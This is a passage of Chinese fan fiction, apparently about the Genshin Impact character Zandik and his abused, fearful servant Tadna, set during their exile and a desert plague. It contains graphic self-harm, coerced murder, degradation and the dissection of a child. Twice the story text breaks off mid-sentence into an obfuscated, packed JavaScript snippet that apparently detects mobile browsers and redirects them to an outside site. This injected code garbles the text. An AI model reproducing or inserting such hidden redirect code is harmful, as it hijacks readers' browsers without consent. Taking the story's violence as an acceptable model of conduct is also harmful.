于是我又爬得近一点,到了赞迪克身前,下颌被铁钳一般的手抓住。 “乖狗。” 赞迪克一手抓着我,另一只手十分不温柔地按压着我的眼眶,感受着薄薄的眼皮下眼珠的颤动。 “你怎么这么喜欢哭?”摸得一手湿润的赞迪克有些不满。 “呜……对不起,大人,我有些忍不住……” 我其实并不是很喜欢哭泣的人,但是在遇到赞迪克后,总是会忍不住。我对赞迪克的恐惧,几乎已经刻入了骨髓,难以磨灭。 好在赞迪克今天没有太纠结这个问题,他沉默着,只是抚摸着我的眼睛,感受着我颤抖的躯体。 过了很久,他问我:“你也觉得我是疯子,是怪物吗?” 我几乎是条件反射性地身体一颤。 没有等我回答,也或许对赞迪克而言,我无法掩盖的身体反应便是最好的解答。 他突然大笑起来,神经质且恐怖。 笑声与暮间的乌鸦啼叫重叠在一起,我惊出一身冷汗。 “不!不是的!” 我必须做出一些事情,不然我会被杀掉的! “赞迪克大人,您绝对不是什么疯子和怪物,在我看来,您可是无人能敌的天才……”我扒着赞迪克的膝盖,紧张得口干舌燥。 赞迪克冷眼看着我。 “教令院的那群人,不过是嫉妒您的才学和能力,才恶意中伤您……您的才华,无人能够否认……在人类进化的领域,在这个领域……” “说啊?怎么不继续说了?” 赞迪克表情木然地看我滑稽的表演。 他很清楚,清楚我只是为了活下去才不得不强压着内心的恐惧来恭维讨好他,其实说出口的一个字都不可信。 或许…… 或许眼前这个家伙,犹如流浪狗乞食般苦苦哀求的废物,也会暗地里像那些人一样,瞧不起他的研究,辱骂他是疯子,是怪物。 我几乎要瘫倒在地上,我很明白,赞迪克已经在犹豫要不要杀了我,如果再做不出什么有用的事情,真的会死去! 我还不想…… 我咬了咬牙,抽出赞迪克腰间的匕首。 赞迪克嗤笑一声,露出果然如此的表情,但很快凝固。 我握紧匕首,割开自己的衣服,颤抖着用匕首划开胸前的皮肤。血液很快浸湿了我的手和身体。 生生划开皮肤的痛苦几乎让人难以忍受,但我明白,眼前这个男人,赞迪克,我无法用正常的手段取得他的信任,那么,想要活命,只能心狠一点。 我刻下一个“怪”字,便已经感觉手脚发软,疼得再也使不上力了。 我将沾满血的匕首递到赞迪克手里,刀尖对着下面一点的皮肤,挤出一个笑来:“大人,我没有做学术的天赋,更不是像您这样的天才。” “我懦弱,胆小,为了活下来什么都可以做,我只是一个活着浪费资源却创造不出价值的家伙。但就算是这样的我,也能够看得到您确实才华横溢。” “如果您感觉痛苦的话,我来和您一起当‘怪物’好了。” 赞迪克的瞳孔紧缩着,连呼吸都加快了,他死死地看着我,猩红的双眼中隐隐透出愉悦。 赞迪克不得不承认,即使这个家伙是个无能的废物,懦弱的废物,喜欢哭哭啼啼的胆小鬼,但他此刻,他的内心,正在希望着这个家伙活下来,和他一起经受世人的唾骂,一起成为罪人。 那扼杀过一个生命,写下过违逆言论的手握住刀柄,赞迪克几乎有些控制不住内心想要杀死眼前之人的想法。 他似乎已经感觉到了,匕首穿破肉.体的声音,温热的血液和眼泪,以及绝望的求饶声。 但他最终还是放弃了这个想法,刀尖进入皮肤,再往上一点便是心脏,却没有再深入分毫。 赞迪克能够感受到,青年身体的颤抖,甚至是刀尖下无法掩饰的、因为恐惧而疯狂跳动的心脏。 以及,青年压抑不住的喘息和痛呼,苍白的脸,盈满泪水失神仰视着他的双眼。 …… 匕首刻下最后一笔的时候,我痛得几乎快晕过去了。 赞迪克嘟囔了一句“没用的东西”,但还是拿了止血的药塞进我嘴里,我靠着最后的意识嚼碎了咽下去。 …… 再次醒来之时,已经回到了赞迪克的住处。 熟悉的床,熟悉的天花板,熟悉的气味。 我的心因为“活着”这个事实而感到平静。 我盯着天花板上的灯座发呆,大脑久违地完全放空,所唯一能感受到的,只有胸口还残余的痛感。 伤口的血早就止住了,赞迪克的医术水平比我想象中的要高,我以为他只对机械感兴趣来着。 甚至赞迪克还很有心情地给我擦了身子,不至于让我一身血污地躺到现在。 看来我的投诚还算成功,接下来应该能度过一段比较平静的日子吧。 如此想着,我起身去找衣服穿。等穿戴整齐简单洗漱后,我推开卧室门,却没有看见赞迪克的身影。 赞迪克早被暂停了活动,这个时候不应该外出才对。 我有些不太好的预感。 砰砰砰—— 门被敲响。 我打开门,外面是数十个武装完备的风纪官。 “赞迪克涉嫌谋杀索赫蕾,风纪官现在怀疑你是从犯,跟我们走一趟吧。” 我眼前一黑。 无法逃离,也没有办法呼救,赞迪克现在或许也被抓住了,我别无选择,只能跟着风纪官走。 被押送的路上遇到了许多人,大家似乎都已经听说了赞迪克的罪行,对于我这个和赞迪克过从甚密的从犯也没多少好感。 谩骂,指点,甚至是经过路人的时候被推搡。 风纪官睁一只眼闭一只眼,这段路我走得无比艰难,但心里除了对未来的担忧,却没有多少其他的情绪。 这样奇妙的情绪一直维持到被关进审讯房。 审问我的风纪官是一位颇为严肃壮硕的男子,对方站起来估计能有一个半我高,极具威慑力。 “嫌烦报上姓名。” “塔德纳,男,21岁。” “嫌烦塔德纳,你是否承认在外出研究期间帮助隐瞒了索赫蕾和赞迪克的私自外出行踪?” “是。” “那你是否承认你目睹了索赫蕾被赞迪克杀死的犯罪现场?” “是。” “你是否承认在研究队归来后,你替罪犯赞迪克提供了伪证?” “是。” “那么, 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就在风纪官要彻底失去耐心的时候,我回答道:“是,我承认,我帮赞迪克杀死了索赫蕾,还帮他隐瞒。” 风纪官的脸上露出果然如此和嫉恶如仇的表情。 如果不是纪律规定,我想这位正义的风纪官先生应该会想要就地给我两拳。 我没什么想法,也没什么打算,看着风纪官写好笔录,然后递给我,我签了字,又在姓名上按上手印。 等待我的处罚或许是被流放到沙漠,沙漠环境恶劣,人口稀少,被流放的学者无论是死亡还是发疯,又或是痛苦地在沙漠挣扎求生,都算得上是一份足够的刑罚。 风纪官很快出去了,留我一个人在审讯房,我闭着眼,脑海里想起一路过来时经受的白眼和谩骂,群众的脸和风纪官的脸逐渐重叠。 桌上的灯刺得我眼球疼,我把自己的头低到胸前,又尽力转了转身子,让自己稍微侧对着光源。 熟悉的声音响起,有两人被带进审讯房,其中一人悲痛地呼唤着我的名字。 “塔德纳!” 我睁开眼,几乎不敢去看这两个人,我的父母,距离上次见面,已是好几年前的父母,他们的发色好像都斑白了许多。 “母亲……父亲……”我嗫嚅着嘴唇,眼泪几乎要止不住。 父亲一巴掌扇在我的脸上,恨铁不成钢地骂我:“你这个混账东西!学术上没混出什么名堂,把自己混进了审讯房,丢不丢脸!” “你别打他……”母亲抓着父亲的手,哀求着。 我被这一巴掌扇得有些发懵,呆呆地坐着,任由自己被母亲拥入怀中。 “塔德纳,我的孩子……你怎么干出这种糊涂事……” 父亲很愤怒,也很是失望。 须弥是一个以学术家庭为单位运作的体系,我作为儿子被爆出杀人这样的丑闻,对他们的名声都会有所影响。 这样一个在学术上一丝天赋也没有,连安安稳稳过日子都做不到,给家庭蒙羞的儿子,实在是让人生气。 母亲抱着我絮絮叨叨说了很多事,大概是些让我照顾好自己的话,我听得不太认真,于是又被父亲打了一耳光,母亲心疼我,不再多说什么,拉着父亲离开了。 重新恢复安静的审讯房内,我感觉到内心的宁静和自由。 失去我之后,父母他们或许会过得更轻松。 不用担心自己的废物儿子会在外面死掉,也不用烦心自己的废物儿子依旧没有在学术上做出哪怕一点的正面贡献。 …… 被流放之前的犯人会被暂时关押,我和赞迪克是一个案件的犯人,于是顺理成章地被关在一起。 赞迪克的样子比起我最后记得的样子无甚差别,依旧穿着出去考察时穿的衣服,袖子上还沾着那时候的血迹。 想来他是到家后不久便被抓走了。 这家伙,即使罪行被发现,马上面临着流放的境地也没有丝毫的慌乱,甚至做派十分悠闲。 房间不大,我瑟缩在赞迪克身边。 赞迪克盯着我看了一会儿,语气有些不爽:“你怎么又哭了?” “抱歉,大人,我不知道我哭了。” 我机械地想要抬手擦眼泪,双手却被赞迪克捏住。 他靠近我,温热的手掌抚上我的脸颊。 “脸也肿了,被打了?” “谁打的?” 5. 第 5 章 赞迪克的动作不算轻柔,我感觉到脸颊上传来的阵痛,眼泪又控制不住了,拼命地往下掉。 “是我的父亲……对不起,大人……我不是故意要哭的……我只是,我只是忍不住,我现在好疼……” 昏暗中,我能感受到赞迪克扶着我的脸站起来,又面对着我,俯身看着我的脸。 他单膝跪在我□□的空间上,摸出一个药瓶,两指挖出些药膏,慢慢地在我脸上涂抹着。 我屏着呼吸,当自己是堵墙。 赞迪克在刷腻子。 那药膏不要钱似的在我脸上糊了一层。 我不知道这种厚度能不能吸收,赞迪克能给我擦药,还是亲手,我就该千恩万谢了,毕竟他看上去比起帮下属涂药这种善良正面的角色,更像是能生剥我皮的人。 我识相地保持沉默。 赞迪克离得我极近,吐息尽数洒在我的脸上。 他涂完把药瓶往后一抛扔在地上,又去扯我的衣服。 “身上的伤怎么样了?” 我不敢反抗,任由他扯开衣服,手掌抚上胸口的血字时,我疼得哆嗦了一下。 “不流血,但还是疼。” 赞迪克:“在结痂了,这几天要是痒的话,不要挠,不然就不好看了。” “……是。” 他看上去很满意这一杰作,连动作都格外轻柔。 过了一会儿,他突然低头,手指顺着笔顺描摹着凹凸不平的伤口,又将我的腰一揽,脸贴上我的胸口。 我几乎要吓得跳起来。 赞迪克试探性地紧了紧手臂。 从我的角度只能看到那毛茸茸的,薄荷绿色的头。 “大人……”我颤颤巍巍地叫他。 “闭嘴,我好累。让我休息一下。” “是……” 于是我僵坐着保持不动,当自己是个抱枕。 又过了一会儿。 赞迪克:“你的心跳声太吵了。” “对不起,呜……” “啧。”赞迪克很大声地啧了一下,伸手把我推倒在长椅上,这是这个房间里唯一能够躺下休息的家具。 明明比我年纪小,却高出我太多的青年把我三两下按在怀里,我的脸贴着他胸前的布料,感受到下面的肌肉,以及沉静的心跳声。 砰——砰——砰—— “你太胆小了,我有这么吓人吗?” “呜……有,有点……” “嗯?” “不……都是我的问题,呜,我太胆小了,对不起……” “闭嘴。睡觉。” “好……” 说实话,今天的赞迪克有点反常。 这位才华横溢、心比天高的青年,这位特立独行的怪人,这位心狠手辣的罪犯,被剥夺了一切过往的成就,驱逐出智慧的园圃。 他所留下的最后的印象,是“怪物”、“疯子”。 没人会知道这位“怪物”的未来将何去何从,我也不知道。 我甚至远远比不上被作为“怪物”铭记的赞迪克。 我的姓名只会在短短几个人月后便被彻底遗忘,消失在时间的长河中。 连一粒细沙都算不上。 在赞迪克气息的包裹中,我很快睡去。 昏沉之间,我意识模糊地想,刚才那一下脸上的药是不是全糊到赞迪克衣服上了?那岂不是全浪费了…… …… 我或许还从未做过自我介绍。 我叫塔德纳,须弥人,是一个普普通通的教令院学生,这里或许该加个注释,“过去式”。 我的一生乏善可陈,人生的高光时刻是考进教令院,除此之外可以值得被拿出来称赞的点—— 是零。 我最讨厌的食物是洋葱,没有最喜欢的食物。 人生的理想是找到一份靠谱的工作安安稳稳地等死。 目前因为赞迪克的原因,绝赞被流放中。 我对赞迪克没什么太大意见,他是一个很厉害的学者,超出我理解范畴的那种。 他对我一般,但发起疯来的时候好几次想杀了我。我每次也只能感叹我的脖子跟着我真是这辈子有了。 不过自从被流放之后,他不再时不时威胁我,对我的态度也稍微温柔了一些。 虽然看我的时候仍然是一幅看狗的表情。 我选择理解且接受。 这哥们儿好像就没真的把谁当人看过。 人们通常从其他人口中知道我的名字,只不过是因为我本人实在是太过阴郁且沉默。 小时候这样的品质多多少少还能被夸一句“这孩子真是乖巧安静”,只不过人一旦进入某个阶段,一些从前被看作优点的东西便会变成被讨厌的原因。 人们不再喜欢安静寡言的家伙,开朗,健谈的人往往更能在社会上混得开。 于是将小时候的评价信以为真的我,理所当然地被淘汰。 我不喜欢交际,不喜欢说话,也不喜欢和人呆在一起。赞迪克不把我当人看的态度其实反而让我觉得放松。 因为我没有必要展示出自己有着独特的价值,也不需要去维持人际关系,为自己谋取一个好的印象。 赞迪克这个家伙总是沉浸在自己的研究里,即使被流放,他也依然会看书,会记笔记,偶尔觉得无聊了便把我扯过来让我一起听他那天书一般的论点。 他滔滔不绝,脸上的表情展现出青年的狂妄来,那对瞳色特殊的双眼,也不再带有疯狂的底色,显得熠熠生辉。 如同红宝石一般。 讲完之后,他问我有什么想法。 我没什么想法。 我只是一个学历史的文科生,要听懂什么人类进化,机械结构还是太为难我了。 被打扰到兴致的赞迪克把我踹走。 这家伙是个天才,毫无疑问的天才。 我必须要强调这一点。 在沙漠里流浪了差不多半个月后,我和赞迪克终于遇到了一些零落的村庄,活人不多,但至少能补给一下物资。 幸好沙漠信息不通,在这里几乎没人知道我和赞迪克是谁。 我和赞迪克借口自己是进沙漠考察失踪的学生,顺利借宿进一户老人家。 老人告诉我们沙漠里出现了一种怪病,没有征兆,无法治疗,患病的人身上会长出黑色的鳞片疮痂,慢慢地,身体腐烂溃散,丧失生命。 这种病具有传染性,村子里的一大半人都因此死去,老人家也只剩下他自己和身患重病只剩一口气的孙女。 这种病被称作“魔鳞病”。 我感到不寒而栗。 赞迪克对这个怪病很感兴趣,于是让老人带他去看他孙女的情况。 “我也略懂一些医术,或许能帮一点忙。” 老人心系孙女,很快答应了。 “太好了,多谢你,好心人。” 我其实不太想一起去,但赞迪克看出我的退缩,便抓着我的肩膀押着我一起进去。 刚打开门便闻到一股浓烈的肉类腐臭的味道,以及某种不知名的霉味。 不知道多久没有清洗的床上,不过七八岁的女孩昏迷着。 面无血色,骨架瘦削,营养不良。一幅活不了多久的样子。 “魔鳞病刚爆发的时候,村里的年轻人害怕,都跑了,只留下一群女人和老人孩子在村子里。这病传得快,村子里又没有医生,很快就死了人。” “我不敢让玛莎出去,免得出事。但人总得吃饭,我老得快死了,走不动路,只有玛莎每天出去找些吃的回来。” “但大概一个月前,玛莎回来之后就开始发起了高烧,浑身不舒服。” “玛莎跟我说她身上疼,我扯开她的袖子去看,手臂上,密密麻麻的全是黑色的鳞片。” 七八十岁的老人哽咽着,无比悔恨:“有人说这是沙漠人不忠神明的惩罚……神啊,你要是有眼睛便睁眼看看,该死的是我这个快死的老头啊,你为什么要我孙女的命……” 我沉默。 赞迪克取了手套,散开病人的衣服。 如老人所言,这女孩身上遍布黑色的鳞片状疮痂,体表皮肤溃烂,多处坏死。一些地方因为天气太热,又长期捂着,能看到蛆虫生出,十分恶心。 我只看了一眼便有些受不住了,这对我的眼睛实在是伤害有些太大了。 赞迪克倒是不嫌弃,他甚至还按压了几下腐烂得最严重的地方,脓水混着血液涌出。 即使是这样的动作,床上的女孩也没有丝毫的反应。如果不是胸口的微弱起伏,很难相信人到了这种境界还能继续活着。 “没见过的病,有趣。” “你说那些年轻人都跑了,他们没有患病的吗?能跑到哪里去?” 老人:“他们都想去雨林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875951|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那边逃难看病,但根本进不去,小部分人能靠关系混进去,但大部分的人都只能另找其他的地方安身。那些得了病的若是身上有钱,便会去活力之家看病,没钱的话就只能等死。” “人性如此。” 赞迪克如此感叹,从包里拿出自己随身携带的解剖工具。 “她活不下去了,你把她交给我解剖一下吧。” 赞迪克一脸平静地说出了很不得了的话。 我很想当作自己从来没有听到过这句话一样,也希望老人也能有和我一样的如此觉悟。 不过老人很显然没有。 他终于明白了今日自己请进来的这位年轻人根本不是什么良善之辈,十分生气,要把我们赶出去。 “你,你这个疯子!你给我滚出去,我不要你救我的孙女了,你滚!” 老人生气地要去打赞迪克,我赶紧拦住。 那边赞迪克又漫不经心地发令:“杀了他,太聒噪了。” 老人跳脚:“你敢?!” 赞迪克嗤笑:“当然敢。” 我不怀疑赞迪克真的能干出为了解剖人家孙女而杀了人爷爷这件事。 这个疯子确实敢。 但问题是我好像不太能敢。 即使在跟着赞迪克的那一天起就有了未来某一天肯定会亲手沾染人命的觉悟,但这一刻真正到来的时候,我的大脑一片空白。 一瞬间的纠结让老人抓住机会,挣脱我朝着赞迪克攻去。 人在极度愤怒的情况下能爆发出强大的潜力,赞迪克被杀死的机会也绝不可能是百分之零。 但要说他会死在这样一个半截身子入土的老人手里,还是太可笑了。 赞迪克一脚踹在老人心口,几乎要踹掉老人半条命去。 他不耐烦地看着我:“你在发什么呆?把他杀了,干不好就给自己挖个坑,自己躺进去。” 老人痛苦的哀嚎声在我耳边回荡着。 我一阵恍惚,感觉自己像是行走在悬崖边上,身边便是滚烫的熔岩,直要把我烧得融化。 我没有办法违抗赞迪克的命令。 不然我会死。 会死…… 我几乎记不清自己接下来做了什么,等到我神智恢复清醒的时候,手里拿着一把铁锹正在铲土,土坑里躺着的正是老人。 已经死去的老人,脖子上是用力的掐痕,看大小比赞迪克的手要小一些。 …… 我会愧疚吗? …… 我会后悔吗? …… 我的内心会因为一条生命在我手中逝去而痛苦吗? …… 我不知道,不过我现在确实既没有愧疚后悔,心脏也没有因此疼痛。 或许,我的内心,早已领先我的思想,先一步站到了赞迪克一方的阵营。 我麻木地填上最后一捧土,心里明白: 彻底无法回头了,我的一生。 赞迪克不久之后便出来了,他的身上全是血。 他慢条斯理地用水清理了刀具和沾到血的地方,又换了一套干净的衣服。脏的那一套被丢到我面前。 “把这套衣服烧了。” “是。” 赞迪克:“你在生气?” 我抿唇:“我没有。” 赞迪克把我拽过去,狠狠地摔到门上,我咬牙闷哼一声,双手被他死死捏着。 他膝盖抬起顶着我的下腹给了我一下,我疼得身体蜷缩。 “呜……” “你在生气我强迫你杀了人?”猩红的双眸紧紧盯着我,不放过我的任何一丝反应。 “我不敢……” 赞迪克气笑了,膝盖用力压着我的腹部一下一下施力,仿佛要把我的肠子都给压碎。 “是不敢,不是没有。呵,看来我让你最近过得太好了,连自己是谁都忘了是吧?” “你只是我的一条狗而已,我让你干什么你就要干什么,让你杀人你就要照做,让你替我死你就要任劳任怨地跑过来替我挡刀。” “好好当你的狗,听从主人的命令,不准有自己的想法,明白吗?” 赞迪克身上浓厚的血腥气熏得我想吐。 我疼得发抖,呜咽着回答:“是,大人。我错了,对不起,我错了……” “以后叫我‘主人’。” “是,呜……主人。” 6. 第 6 章 赞迪克让我处理完脏衣服后把屋内的尸体也处理了。 那具被解剖得面目全非的尸体令我心生寒意,我草草用脏床单收拢,拖出去一起烧了个干净。 赞迪克准备去那个活力之家看看,我们在此处歇息了一夜,第二天,我收拾完行李,又把这屋子里能找到的食物搜刮一遍,和赞迪克一起前往活力之家。 所谓的活力之家,不过是建在沙漠里的简陋房屋,据说是教令院所建,用来收纳沙漠里出现的魔鳞病病人。 因为这场愈发严峻的怪病,活力之家的医生逃了个差不多,如今只剩下易卜拉辛和阿毛迪两个人。 接待我们的易卜拉辛是一位年轻的医师,富有活力和责任感,与他相比,阿毛迪则已年过半百,是个性格严苛的老人家。 赞迪克向他们表明了自己想要在活力之家帮忙的意愿。 易卜拉辛很开心,他毕业后便来到活力之家,一直怀揣着要让沙漠子民也能受到医疗治疗的愿望,却苦于缺乏支持。 “太好了,这年头像你们这样愿意来照顾病人的人太少了,特别是在这个关头。”说着,易卜拉辛有些不好意思地挠了挠头:“事先确认一下,你知道魔鳞病泛滥的事吧?” 昨天才知道这件事的赞迪克:“当然,事实上,我就是为此而来。” 易卜拉辛很是惊奇:“你不害怕吗?不,我是说,很多人都因为这个病离开了,他们害怕自己也染上这种病,你知道的吧?不过我能理解,正常人都怕死。” “那你呢?你不害怕吗?” “我害怕,但我不能走。”年轻人憨厚地一笑:“我要照顾那些病人,这是我身为医生的职责。” “你是个有责任心的人。” 伪装下的赞迪克相当精通人性,夸得易卜拉辛那小麦色的脸颊上浮现出不好意思的红晕。 “你言重了,我只是做了我能做的事。只可惜,我能力不足,没有办法治疗魔鳞病,只能让那些病人临死前体面一点。” 说到这里,年轻人的神色有些低落。 “这有何难?我能够治疗魔鳞病。” “真的吗?!”易卜拉辛不敢相信。 我也很吃惊,要知道在昨天之前,赞迪克对于魔鳞病的认知是完完全全的“零”,只是见过一个病例之后便有了治疗的思绪了吗? 如果是真的,那他的天赋,甚至或许已经超过了“天才”这个范畴。 显然易卜拉辛不太相信,在他看来,就算真的有这样的奇才,也不会放着好好的雨林不待,跑来沙漠受苦受难。 这位淳朴的年轻人将赞迪克的话认为是向他夸耀自己的医术水平,于是拍了拍赞迪克,道:“没事的,兄弟,我们都知道魔鳞病几乎是不可能治愈的,你也不用通过这种方式来让我允许你留下来。” 赞迪克只是笑着躲开易卜拉欣的手。 “我不习惯别人碰我。” “哈哈,抱歉。”易卜拉辛并没有察觉到赞迪克对他的嫌弃,真诚地道了歉。 “现在活力之家缺人缺得紧,加上魔鳞病没有多少治疗的可能性,所以其实你只要会一些基本的医疗常识就行了。阿毛迪老师也同意让你们留下来了,别看他老人家平时不苟言笑的,还摆着一张臭脸,其实是个很好的小老头。哈哈,对了,兄弟,我还不知道你的名字。” “塔德纳克,叫我塔德纳克就行。”赞迪克似笑非笑,报上了一个奇奇怪怪的假名。 我身子一僵,跟在赞迪克身边恨不得把耳朵都堵上。 这个恶趣味的家伙…… “哈哈,塔德纳克兄,你好。”易卜拉辛又有些犹豫地看向我:“那这位兄弟要怎么称呼?” 赞迪克的视线落到我的身上。 我不敢说话,顶着赞迪克的视线,脖子僵硬。 “他是我弟弟,天生是个哑巴,没有名字,叫他‘小狗’也行。” 这家伙为了防止我说错话,直接剥夺了我的发声系统。 “哈哈,”易卜拉辛也没有遇到过这种情况,他的视线在我和赞迪克之间流转:“原来你们是兄弟吗?不过你们看起来不太像。” 何止是不太像,简直是除了都有两只眼睛一只鼻子一个嘴之外没有任何相似的地方好吗! 更何况我俩还一个绿发,一个金发。 赞迪克轻笑:“重组家庭。” 易卜拉辛恍然大悟:“哦,原来不是亲的。不过把人当成狗好像不太好吧,他是你弟弟,会生气的吧,没有其他名字吗?” “没有。你没叫过怎么知道他会不会生气?放心吧,他也很喜欢这个名字。” 赞迪克如此说着,朝我的方向伸出一只手,戏谑地唤了一声:“小狗——” 我盯着身前的这只手,没有过多犹豫,走上前去,双手握住那只手的手腕将自己的脸贴上去。 易卜拉辛惊奇地看着这一幕。 赞迪克满意地抽出手,拍了拍我的侧脸。 “乖小狗。” “哈哈,你们兄弟间的感情真好。” 赞迪克勾唇:“我也这么觉得。” 我垂着眼,安静地站在一旁矜矜业业地当我的“哑巴”。 虽然我此刻也很想彻底当个“聋子”。 好在易卜拉辛还是没有办法接受这个哪儿哪儿都不太对的称呼,最终决定将我的称呼定为“弟弟兄”。 虽然还是很怪,但比起什么“小猫”“小狗”已经好了太多了。 赞迪克对我的戏弄到此为止,他跟着易卜拉辛进入病房,听这位年轻医师向他介绍病人的情况。 “现在活力之家还剩四个病人,哈基姆,艾文,以及年龄稍小一点的阿尔伯兹和阿巴斯。如今我负责哈基姆和艾文的治疗,阿尔伯兹和阿巴斯则是阿毛迪老师在负责。” 病房里有四张简陋的床,中间用白布隔断,哈基姆是一位中年男性,身量不矮,裸露的四肢上遍布大大小小的黑色鳞片,长期遭受病痛折磨让这个男人憔悴不堪,身形消瘦。 艾文则是一位女性,身上的鳞片和哈基姆差不多的大小数量。阿尔伯兹是一个少年,比起前两个人,他的情况要好很多,只是手臂有一些鳞片,阿巴斯是一位年纪不大的青年,魔鳞病也并不算特别严重。 “你刚来,我便把哈基姆划给你吧,你只需要每日记录患者的病情发展,以及监督他们按时服药就行,弟弟兄和你一起,两个人干活也好有个照应。” “哈基姆,下午好,这位塔德纳克是你以后的新医生,如果有什么不舒服的地方可以告诉他。” 这位中年人的精神状态一般,但还是坐起来和赞迪克打了个招呼。 “你好,塔德纳克医生。” 赞迪克微笑点头:“你好。” “你们可以先聊聊,我要去准备今天的晚饭了,没办法,这里的人手太少了。弟弟兄要一起来吗?” 易卜拉辛看向我。 我看向赞迪克。 赞迪克挥了挥手:“去吧,好好干活,不要添乱。” 他的语气中带着一丝威胁,我明白他说“不要添乱”的意思其实是让我管好自己的嘴。 于是我跟着易卜拉辛离开病房,去了厨房。 说是厨房,不过是临时收拾出来的空闲房间,以前权当作杂物间用的,连专门的灶台也没有,便在墙上开了个洞,连着土砌的管道通烟。 角落零散着简单的食材。 “今天的晚餐是咖喱虾和绿汁脆球,请帮我把那边的虾和土豆拿过来。谢谢。对了,你会处理虾吗?” 我点点头。 “那太好了,那这些虾就交给你来处理,我去生火。” 易卜拉辛在旁边生火,我便蹲在地上处理食材,把虾线挑出来,然后清洗之后放到盆里面备用。 活力之家的膳食倒是比我想象中要好很多,不愧是教令院出资建造,我在过来之前还在墙上看到了一周的食谱,竟没有多少重复的菜。 比起死在封闭贫瘠的村中,这些逃到活力之家的人至少能够在死亡之前度过相对美好的生活。 想到这里,我又想起被赞迪克解剖的那个孩子,那位老人的孙女,硬要说的话,不过和活力之家的阿尔伯兹差不多大。 女孩血肉模糊的死状浮现在我的脑海里久久不能散去,我有些丧气,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875952|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅里的咖喱汤有些提不起食欲。 病人的餐食是要专门根据每人的食量和当日的身体状态进行分配的,我和易卜拉辛拉着准备好的食物进去。 易卜拉辛问赞迪克:“和哈基姆聊得怎么样?” 赞迪克回答:“还不错。” 他们背后的哈基姆没有出声,只是坐在病床上。 我看了一眼这位病得最严重的中年人。哈基姆的眼神有些呆滞,好像瞳孔在以极小的幅度颤抖着。 像是受了什么刺激一样。 我不敢再多看。 易卜拉辛很信任赞迪克,又问他哈基姆的身体情况,赞迪克说了一大堆,全是一些我没听过的医疗术语,最后说了一句“哈基姆今天的情况还不错”,是我唯一听懂的一句。 “哈哈,看来哈基姆也在为了自己的健康努力恢复呢。”易卜拉辛爽朗地笑着,“那今天的饭菜多来一点好了,来,尝尝我和弟弟兄的手艺。” 赞迪克听到我的名字,朝我看了一眼,露出一个故意带着些惊讶的表情。 我低着头装自己什么也不知道。 其实我只是帮忙看了一会儿锅里的情况而已,并没有亲自上手烹饪。 “呵呵,看来你和易卜拉辛相处得很愉快。”赞迪克笑了笑,手掌覆上我的后脖颈。 我身体僵硬。 这家伙的疑心病又犯了,不过赞迪克暂时也看不出什么,只是捏了捏我的脖子肉当作警告。 易卜拉辛这个没心眼的大块头没心没肺地接话:“弟弟兄很能干的,哈哈,多亏了他,我的工作轻松多了。以后还要多拜托弟弟兄帮忙了。” “他恐怕没空。”赞迪克不着痕迹地皱了皱眉,我脖子上的手也加大了力度。 “他是我的助理,之后要帮我记病例,恐怕没有办法天天去帮忙做饭。” “啊,抱歉,我忘了这个。没事,厨房那边我一个人也能忙得过来。” 易卜拉辛根本不知道因为他的一番话我到底经受了怎样的折磨。 这个蠢货。 我感觉我的脖子一抽一抽地疼。 赞迪克这家伙根本不知道自己的手劲儿到底有多大,又或者他其实知道,毕竟从他那个角度一眼就能够看到我脖子的情况,现在估计已经红了一大片。 他只是故意的而已。 艾文是一位温柔的女性,见到我们的时候朝我们每个人都分别打了招呼。 即使经受魔鳞病多月的折磨,这位女性脸上依然带着对未来的美好希冀。 “你好,艾文小姐,这是你的晚餐,今天感觉还好吗?” 易卜拉辛递过餐盒。 “感谢您的关心,也感谢您的辛劳付出,我感觉很好。以及我要感谢您带给我的鲜花,看着这些花朵鲜活的样子,我也感受到自己的活力。” 在艾文的病床床头,是一个花瓶,里面摆放着一只新鲜的须弥蔷薇,紫色的花瓣鲜活地盛开着,确实让人感觉到生机勃勃。 易卜拉辛红了红脸:“你喜欢就好,艾文小姐。” 艾文捂嘴轻笑。 最里面是阿尔伯兹和阿巴斯的床位,我们来的时候,青年正在与小孩子分享糖果。 “下午好,阿尔伯兹,以及阿巴斯。” “下午好,易卜拉辛医生。” “医生哥哥下午好。” “希望你们今天也变得更健康了。这是你们的晚饭,不过还请注意不要吃太多糖果,否则晚上会不舒服的。” 阿尔伯兹有些失落,阿巴斯摸了摸小朋友的头。 “放心吧,易卜拉辛医生,我会看着小阿尔伯兹的。” 小阿尔伯兹气呼呼地挥手:“医生哥哥和阿巴斯哥哥都是会抢走糖果的大坏蛋。” 易卜拉辛和阿巴斯相视一眼,笑出声来:“哈哈哈。” 这实在是充满温馨的一幕,即使是在被魔鳞病的阴影无时不刻笼罩着的活力之家,这里的人们,无论是病人还是医生,都好像不会放弃希望。 即使那活的希望可能只是浩渺天空里最渺小的一颗星。 我有些感触,内心不由得也放松下来些许。 7. 第 7 章 医生们吃饭的地方是在外面的一间房,等病人们吃完之后,易卜拉辛便会收拾好餐具,然后召集医生们一起吃饭。 饭桌上我再次见到了阿毛迪。这位老医生颇为严肃,问了易卜拉辛下午的情况,又检查了赞迪克的工作情况,然后才面容缓和下来闭嘴吃饭。 易卜拉辛不怕他,饭间还会说一些俏皮话活跃气氛。 总之这顿饭吃得还算活跃。 阿毛迪在这样相对比较活跃的情况下向我们介绍了一些情况。 